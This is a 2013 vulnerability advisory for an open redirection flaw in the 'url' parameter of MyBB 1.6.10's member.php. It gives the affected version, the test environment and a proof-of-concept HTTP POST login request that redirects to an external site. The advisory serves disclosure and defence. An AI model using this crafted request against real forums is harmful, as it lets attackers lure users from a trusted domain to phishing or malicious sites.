MyBB 1.6.10 Open Redirection

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MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability  
  
  
Vendor: MyBB Group  
Product web page: http://www.mybb.com  
Affected version: 1.6.10  
  
Summary: MyBB, also known as MyBBoard or MyBulletinBoard, is a powerful,  
efficient, and free forum package, developed using PHP and MySQL.  
  
Desc: Input passed via the 'url' parameter in 'member.php' script is not  
properly verified before being used to redirect users. This can be exploited  
to redirect a user to an arbitrary website e.g. when a user clicks a specially  
crafted link to the affected script hosted on a trusted domain.  
  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.7  
MySQL 5.5.25a  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2013-5152  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5152.php  
  
  
02.08.2013  
  
---  
  
  
POST /mybb/member.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/mybb/index.php  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 133  
  
action=do_login&url=http://www.zeroscience.mk&quick_login=1&quick_username=admin&quick_password=admin&submit=Login&quick_remember=yes  
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